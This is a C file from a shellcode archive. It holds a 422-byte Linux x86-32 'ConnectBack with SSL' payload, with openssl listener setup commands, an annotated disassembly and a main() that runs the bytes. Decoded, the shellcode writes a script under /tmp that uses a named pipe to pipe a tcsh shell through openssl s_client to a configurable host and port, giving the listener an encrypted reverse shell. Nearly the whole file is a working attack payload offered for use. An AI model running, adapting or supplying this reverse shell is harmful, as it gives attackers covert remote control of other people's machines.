/*

**

** Title: Linux/x86-32 - ConnectBack with SSL connection - 422 bytes

** Date: 2011-06-08

** Tested on: ArchLinux i686

** Author: Jonathan Salwan - twitter: @jonathansalwan

**

** http://shell-storm.org

**

**

** Configurations server

** ===========================================================================

** jonathan@ArchLinux [ssl] $ openssl genrsa -des3 -out server.key 1024

** jonathan@ArchLinux [ssl] $ openssl req -new -key server.key -out server.csr

** jonathan@ArchLinux [ssl] $ cp server.key server.key.org

** jonathan@ArchLinux [ssl] $ openssl rsa -in server.key.org -out server.key

** jonathan@ArchLinux [ssl] $ openssl x509 -req -days 365 -in server.csr -sign

** key server.key -out server.crt

** jonathan@ArchLinux [ssl] $ ll

** total 16

** -rw-r--r-- 1 jonathan users 757 Jun 8 09:36 server.crt

** -rw-r--r-- 1 jonathan users 603 Jun 8 09:36 server.csr

** -rw-r--r-- 1 jonathan users 887 Jun 8 09:36 server.key

** -rw-r--r-- 1 jonathan users 963 Jun 8 09:36 server.key.org

** jonathan@ArchLinux [ssl] $

**

**

** Running server

** ===========================================================================

** jonathan@ArchLinux [ssl] $ openssl s_server -key server.key -cert server.cr

** t -accept 8080

**

**

** After the server was opened, you can send the shellcode.

** Warning! The client need tsch and openssl installed.

**

**

** Informations shellcode

** ===========================================================================

**

** Reverse TCP with SSL (why not)

** Linux x86 32bits

** 422 bytes

**

**

** ASM sources

** ===========================================================================

**

** 08048054 <main>:

** 8048054: 31 c0 xor %eax,%eax

** 8048056: 50 push %eax

** 8048057: 6a 65 push $0x65

** 8048059: 68 6b 70 69 70 push $0x7069706b

** 804805e: 68 2f 62 61 63 push $0x6361622f

** 8048063: 68 2f 74 6d 70 push $0x706d742f

** 8048068: 89 e3 mov %esp,%ebx

** 804806a: b0 0a mov $0xa,%al

** 804806c: cd 80 int $0x80

** 804806e: 85 c0 test %eax,%eax

** 8048070: 75 32 jne 80480a4 <del2>

** 8048072: 31 c0 xor %eax,%eax

** 8048074: 31 db xor %ebx,%ebx

** 8048076: 31 d2 xor %edx,%edx

** 8048078: b3 01 mov $0x1,%bl

** 804807a: 31 c0 xor %eax,%eax

** 804807c: 50 push %eax

** 804807d: 6a 6e push $0x6e

** 804807f: 66 68 64 5c pushw $0x5c64

** 8048083: 68 6c 65 74 65 push $0x6574656c

** 8048088: 68 65 20 64 65 push $0x65642065

** 804808d: 68 6b 70 69 70 push $0x7069706b

** 8048092: 68 2f 62 61 63 push $0x6361622f

** 8048097: 68 2f 74 6d 70 push $0x706d742f

** 804809c: 89 e1 mov %esp,%ecx

** 804809e: b2 17 mov $0x17,%dl

** 80480a0: b0 04 mov $0x4,%al

** 80480a2: cd 80 int $0x80

** 080480a4 <del2>:

** 80480a4: 31 c0 xor %eax,%eax

** 80480a6: 50 push %eax

** 80480a7: 66 68 73 6c pushw $0x6c73

** 80480ab: 68 2f 63 62 73 push $0x7362632f

** 80480b0: 68 2f 74 6d 70 push $0x706d742f

** 80480b5: 89 e3 mov %esp,%ebx

** 80480b7: b0 0a mov $0xa,%al

** 80480b9: cd 80 int $0x80

** 80480bb: 85 c0 test %eax,%eax

** 80480bd: 75 2a jne 80480e9 <open>

** 80480bf: 31 c0 xor %eax,%eax

** 80480c1: 31 db xor %ebx,%ebx

** 80480c3: 31 d2 xor %edx,%edx

** 80480c5: 50 push %eax

** 80480c6: 68 65 64 5c 6e push $0x6e5c6465

** 80480cb: 68 65 6c 65 74 push $0x74656c65

** 80480d0: 68 73 6c 20 64 push $0x64206c73

** 80480d5: 68 2f 63 62 73 push $0x7362632f

** 80480da: 68 2f 74 6d 70 push $0x706d742f

** 80480df: 89 e1 mov %esp,%ecx

** 80480e1: b3 01 mov $0x1,%bl

** 80480e3: b2 14 mov $0x14,%dl

** 80480e5: b0 04 mov $0x4,%al

** 80480e7: cd 80 int $0x80

**

** 080480e9 <open>:

** 80480e9: 31 c0 xor %eax,%eax

** 80480eb: 31 c9 xor %ecx,%ecx

** 80480ed: 31 d2 xor %edx,%edx

** 80480ef: 66 b9 41 04 mov $0x441,%cx

** 80480f3: 66 ba a4 01 mov $0x1a4,%dx

** 80480f7: 50 push %eax

** 80480f8: 66 68 73 6c pushw $0x6c73

** 80480fc: 68 2f 63 62 73 push $0x7362632f

** 8048101: 68 2f 74 6d 70 push $0x706d742f

** 8048106: 89 e3 mov %esp,%ebx

** 8048108: b0 05 mov $0x5,%al

** 804810a: cd 80 int $0x80

** 804810c: 89 c6 mov %eax,%esi

**

** 0804810e <wtite>:

** 804810e: 31 d2 xor %edx,%edx

** 8048110: 89 f3 mov %esi,%ebx

** 8048112: 31 c0 xor %eax,%eax

** 8048114: 50 push %eax

** 8048115: 66 68 70 65 pushw $0x6570

** 8048119: 68 63 6b 70 69 push $0x69706b63

** 804811e: 68 70 2f 62 61 push $0x61622f70

** 8048123: 68 3e 2f 74 6d push $0x6d742f3e

** 8048128: 68 73 68 20 31 push $0x31206873

** 804812d: 68 6e 2f 74 63 push $0x63742f6e

** 8048132: 68 20 2f 62 69 push $0x69622f20

** 8048137: 68 70 65 20 7c push $0x7c206570

** 804813c: 68 63 6b 70 69 push $0x69706b63

** 8048141: 68 70 2f 62 61 push $0x61622f70

** 8048146: 68 3c 2f 74 6d push $0x6d742f3c

**

** "\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x3a\x38\x30\x38\x30" >----------+

** localhost:8080 |

** If you change that, you need to change write(..., ..., size_t) (%edx) |

** |

** 804814b: 68 38 30 20 30 push $0x30203038 <---+

** 8048150: 68 74 3a 38 30 push $0x30383a74 <---+

** 8048155: 68 6c 68 6f 73 push $0x736f686c <---+

** 804815a: 68 6c 6f 63 61 push $0x61636f6c <---+

**

**

** 804815f: 68 65 63 74 20 push $0x20746365

** 8048164: 68 63 6f 6e 6e push $0x6e6e6f63

** 8048169: 68 6e 74 20 2d push $0x2d20746e

** 804816e: 68 63 6c 69 65 push $0x65696c63

** 8048173: 68 6c 20 73 5f push $0x5f73206c

** 8048178: 68 65 6e 73 73 push $0x73736e65

** 804817d: 68 6e 2f 6f 70 push $0x706f2f6e

** 8048182: 68 72 2f 62 69 push $0x69622f72

** 8048187: 68 20 2f 75 73 push $0x73752f20

** 804818c: 68 70 20 26 26 push $0x26262070

** 8048191: 68 69 70 65 20 push $0x20657069

** 8048196: 68 61 63 6b 70 push $0x706b6361

** 804819b: 68 6d 70 2f 62 push $0x622f706d

** 80481a0: 68 64 20 2f 74 push $0x742f2064

** 80481a5: 68 6d 6b 6e 6f push $0x6f6e6b6d

** 80481aa: 89 e1 mov %esp,%ecx

** 80481ac: b2 77 mov $0x77,%dl

** 80481ae: 31 c0 xor %eax,%eax

** 80481b0: b0 04 mov $0x4,%al

** 80481b2: cd 80 int $0x80

**

** 080481b4 <close>:

** 80481b4: 31 c0 xor %eax,%eax

** 80481b6: b0 06 mov $0x6,%al

** 80481b8: 89 f3 mov %esi,%ebx

** 80481ba: cd 80 int $0x80

**

** 080481bc <execve>:

** 80481bc: 31 c0 xor %eax,%eax

** 80481be: 50 push %eax

** 80481bf: 66 68 73 6c pushw $0x6c73

** 80481c3: 68 2f 63 62 73 push $0x7362632f

** 80481c8: 68 2f 74 6d 70 push $0x706d742f

** 80481cd: 89 e3 mov %esp,%ebx

** 80481cf: 50 push %eax

** 80481d0: 66 68 2d 65 pushw $0x652d

** 80481d4: 89 e1 mov %esp,%ecx

** 80481d6: 50 push %eax

** 80481d7: 6a 68 push $0x68

** 80481d9: 66 68 2f 73 pushw $0x732f

** 80481dd: 68 2f 62 69 6e push $0x6e69622f

** 80481e2: 89 e2 mov %esp,%edx

** 80481e4: 50 push %eax

** 80481e5: 53 push %ebx

** 80481e6: 51 push %ecx

** 80481e7: 52 push %edx

** 80481e8: 89 e1 mov %esp,%ecx

** 80481ea: 89 d3 mov %edx,%ebx

** 80481ec: 31 d2 xor %edx,%edx

** 80481ee: b0 0b mov $0xb,%al

** 80481f0: cd 80 int $0x80

**

** 080481f2 <exit>:

** 80481f2: 31 c0 xor %eax,%eax

** 80481f4: b0 01 mov $0x1,%al

** 80481f6: 31 db xor %ebx,%ebx

** 80481f8: cd 80 int $0x80

**

**

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

char SC[] = "\x31\xc0\x50\x6a\x65\x68\x6b\x70\x69\x70\x68\x2f\x62\x61\x63"

"\x68\x2f\x74\x6d\x70\x89\xe3\xb0\x0a\xcd\x80\x85\xc0\x75\x32"

"\x31\xc0\x31\xdb\x31\xd2\xb3\x01\x31\xc0\x50\x6a\x6e\x66\x68"

"\x64\x5c\x68\x6c\x65\x74\x65\x68\x65\x20\x64\x65\x68\x6b\x70"

"\x69\x70\x68\x2f\x62\x61\x63\x68\x2f\x74\x6d\x70\x89\xe1\xb2"

"\x17\xb0\x04\xcd\x80\x31\xc0\x50\x66\x68\x73\x6c\x68\x2f\x63"

"\x62\x73\x68\x2f\x74\x6d\x70\x89\xe3\xb0\x0a\xcd\x80\x85\xc0"

"\x75\x2a\x31\xc0\x31\xdb\x31\xd2\x50\x68\x65\x64\x5c\x6e\x68"

"\x65\x6c\x65\x74\x68\x73\x6c\x20\x64\x68\x2f\x63\x62\x73\x68"

"\x2f\x74\x6d\x70\x89\xe1\xb3\x01\xb2\x14\xb0\x04\xcd\x80\x31"

"\xc0\x31\xc9\x31\xd2\x66\xb9\x41\x04\x66\xba\xa4\x01\x50\x66"

"\x68\x73\x6c\x68\x2f\x63\x62\x73\x68\x2f\x74\x6d\x70\x89\xe3"

"\xb0\x05\xcd\x80\x89\xc6\x31\xd2\x89\xf3\x31\xc0\x50\x66\x68"

"\x70\x65\x68\x63\x6b\x70\x69\x68\x70\x2f\x62\x61\x68\x3e\x2f"

"\x74\x6d\x68\x73\x68\x20\x31\x68\x6e\x2f\x74\x63\x68\x20\x2f"

"\x62\x69\x68\x70\x65\x20\x7c\x68\x63\x6b\x70\x69\x68\x70\x2f"

"\x62\x61\x68\x3c\x2f\x74\x6d"

/* localhost:8080 */

"\x68\x38\x30\x20\x30\x68\x74\x3a\x38\x30\x68\x6c\x68\x6f\x73"

"\x68\x6c\x6f\x63\x61"

/* EOF */

"\x68\x65\x63\x74\x20\x68\x63\x6f\x6e\x6e\x68\x6e\x74\x20\x2d"

"\x68\x63\x6c\x69\x65\x68\x6c\x20\x73\x5f\x68\x65\x6e\x73\x73"

"\x68\x6e\x2f\x6f\x70\x68\x72\x2f\x62\x69\x68\x20\x2f\x75\x73"

"\x68\x70\x20\x26\x26\x68\x69\x70\x65\x20\x68\x61\x63\x6b\x70"

"\x68\x6d\x70\x2f\x62\x68\x64\x20\x2f\x74\x68\x6d\x6b\x6e\x6f"

"\x89\xe1\xb2\x77\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x06\x89"

"\xf3\xcd\x80\x31\xc0\x50\x66\x68\x73\x6c\x68\x2f\x63\x62\x73"

"\x68\x2f\x74\x6d\x70\x89\xe3\x50\x66\x68\x2d\x65\x89\xe1\x50"

"\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe2\x50\x53"

"\x51\x52\x89\xe1\x89\xd3\x31\xd2\xb0\x0b\xcd\x80\x31\xc0\xb0"

"\x01\x31\xdb\xcd\x80";

int main(void)

{

fprintf(stdout,"Length: %d\n",strlen(SC));

(*(void(*)()) SC)();

}